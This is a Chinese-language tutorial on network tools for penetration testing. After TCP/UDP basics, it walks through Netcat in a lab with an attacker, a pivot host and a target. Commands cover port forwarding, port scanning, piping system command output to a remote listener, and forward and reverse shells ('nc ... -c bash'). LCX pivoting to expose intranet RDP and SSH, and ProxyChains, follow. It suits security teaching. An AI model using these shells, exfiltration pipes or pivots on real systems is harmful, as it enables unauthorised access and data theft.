代理工具
Netcat (nc)
简介
Netcat是一款轻量级网络工具,支持在TCP或UDP协议上双向传输数据。凭借其简洁灵活的特性,该工具广泛应用于网络调试和自动化脚本编写中。
TCP协议
概述
传输控制协议(TCP)是一种面向连接的网络通信协议,提供可靠的数据传输服务。它确保数据按顺序、完整地传输,常与IP协议配合使用,构成TCP/IP协议族的核心部分。TCP广泛应用于网页浏览、电子邮件、文件传输等需要数据完整性的场景。
主要特性
- 连接导向:数据传输前需建立连接,传输完成后断开,确保通信可靠性
- 数据可靠性:具备错误检测与纠正机制,保证数据完整性和顺序性
- 流量控制:根据接收方处理能力调整发送速度,防止网络拥塞
- 拥塞控制:动态调整发送速率,避免网络过载和数据丢失
- 字节流传输:以连续字节流方式传输数据,应用层负责数据分片
- 全双工通信:支持双向同时数据传输
- 错误恢复机制:通过校验和检测错误,必要时重传数据
TCP报文结构
源端口(16位):标识发送方端口号
目的端口(16位):标识接收方端口号
序列号(32位):标识本报文段首字节的序号
确认号(32位):标识期望接收的下一个字节序号
头部长度(4位):指示TCP头部大小,以4字节为单位
保留字段(6位):未使用,置为0
控制标志(6位):包含SYN、ACK、FIN等控制位
窗口大小(16位):接收方缓冲区大小,用于流量控制
校验和(16位):验证TCP报文完整性
紧急指针(16位):指示紧急数据结束位置
可选字段:支持窗口扩展、时间戳等高级功能
常见服务端口
端口20:FTP数据传输
端口21:FTP控制连接
端口22:SSH安全远程登录
端口23:Telnet远程登录
端口25:SMTP电子邮件发送
端口53:DNS域名解析
端口80:HTTP网页浏览
端口110:POP3邮件接收
端口143:IMAP邮件管理
端口443:HTTPS加密网页访问
端口3389:Windows远程桌面
端口8080:HTTP代理服务
UDP协议
概述
用户数据报协议(UDP)是一种无连接、不可靠的传输层协议,提供数据报传输服务。
主要特性
- 无连接传输:无需预先建立连接,直接发送数据包
- 高效传输:协议开销小,传输速度快
- 低延迟:无需等待确认,适合实时应用
- 轻量级设计:功能精简,资源占用少
UDP报文结构
源端口(16位):标识发送方端口号
目的端口(16位):标识接收方端口号
数据长度(16位):指示整个UDP数据报长度
校验和(16位):验证数据完整性
数据字段:实际传输的内容(0-65535字节)
常见服务端口
端口53:DNS域名解析
端口67/68:DHCP动态IP分配
端口69:TFTP文件传输
端口123:NTP时间同步
端口161/162:SNMP网络管理
端口514:Syslog日志服务
端口5060/5061:SIP语音通信
端口3478/3479:STUN NAT穿透
Netcat功能详解
主要参数
-l:监听模式,用于接收连接
-p:指定本地端口号
-n:直接使用IP地址,不解析域名
-v:显示详细连接信息
-z:执行端口扫描
-u:使用UDP模式
-c:执行指定shell命令
-q:连接完成后延迟退出(秒)
环境设置
假设测试环境包含三台机器:
- 攻击机:192.168.245.110 (kali1)
- 跳板机:192.168.8.130 (kali2)
- 目标机:192.168.8.129 (win7)
端口转发应用
场景:kali1可访问kali2,但无法直接访问win7;kali2可访问win7的任意端口。需求是通过kali2访问win7的22端口。
解决方案:在kali2上设置端口转发,将访问其8888端口的流量转发至win7的22端口。
# 在kali2上执行转发命令
nc -l -p 8888 -c "nc 192.168.8.129 22"
在kali1上通过ssh连接kali2的8888端口,即可访问win7的22端口服务。
端口扫描
基本扫描命令:
# 扫描指定TCP端口
nc -v 目标IP 端口号
# 扫描端口范围
nc -nv 目标IP 端口范围
# 扫描UDP端口
nc -nvvzu 目标IP 端口范围
使用示例:
# 扫描单个端口
nc -nv 192.168.8.129 445
# 扫描端口范围
nc -nv 192.168.8.129 1-1000
# UDP端口扫描
nc -nvvzu 192.168.8.129 1-500
文本信息传输
服务端设置:
nc -l -p 端口号
客户端连接:
nc -nv 服务端IP 端口号
建立连接后,双方可进行文本信息交互。
文件/目录传输
文件传输:
# 接收端
nc -l -p 端口号 > 接收文件名
# 发送端
nc -nv 服务端IP 端口号 < 发送文件名 -q 1
目录传输:
# 接收端
nc -l -p 端口号 | tar -xvf -
# 发送端
tar -cvf - /目录路径 | nc -nv 服务端IP 端口号 -q 1
远程信息收集
示例1:无痕收集系统信息
# 接收端
nc -l -p 端口号
# 发送端
系统命令 | nc -nv 接收端IP 端口号
示例2:保存命令输出到文件
# 接收端
nc -l -p 端口号 > 输出文件.txt
# 发送端
系统命令 | nc -nv 接收端IP 端口号 -q 1
远程控制
正向Shell:
# 被控制端
nc -l -p 端口号 -c bash
# 控制端
nc -nv 被控制端IP 端口号
反向Shell:
# 控制端
nc -l -p 端口号
# 被控制端
nc -nv 控制端IP 端口号 -c bash
LCX端口转发工具
参数说明
-tran <监听端口> <目标IP> <目标端口> # 端口映射
-listen <监听端口> <转发端口> # 端口转发
-slave <外网IP> <监听端口> <目标IP> <目标端口> # 端口转发
基本应用
场景1:内网端口映射到外网
# 外网服务器执行
lcx -listen 40050 10000
# 内网服务器执行
lcx -slave 外网IP 40050 内网IP 3389
# 访问外网服务器10000端口即可连接内网3389
场景2:本地端口转发
# 将本地3389端口转发到33389端口
lcx -tran 33389 127.0.0.1 3389
场景3:SSH内网穿透
# 在公网服务器上执行
lcx -tran 2222 内网IP 22
# 连接公网服务器2222端口即可访问内网SSH
ProxyChains
ProxyChains是一个工具,允许通过代理服务器强制连接TCP应用程序。
它通过拦截网络连接请求并将其路由到代理服务器来实现。
基本配置:
1. 编辑/etc/proxychains4.conf文件
2. 添加代理服务器信息
3. 在命令前添加proxychains前缀
使用示例:
proxychains curl http://example.com
proxychains nmap -sT -O target.com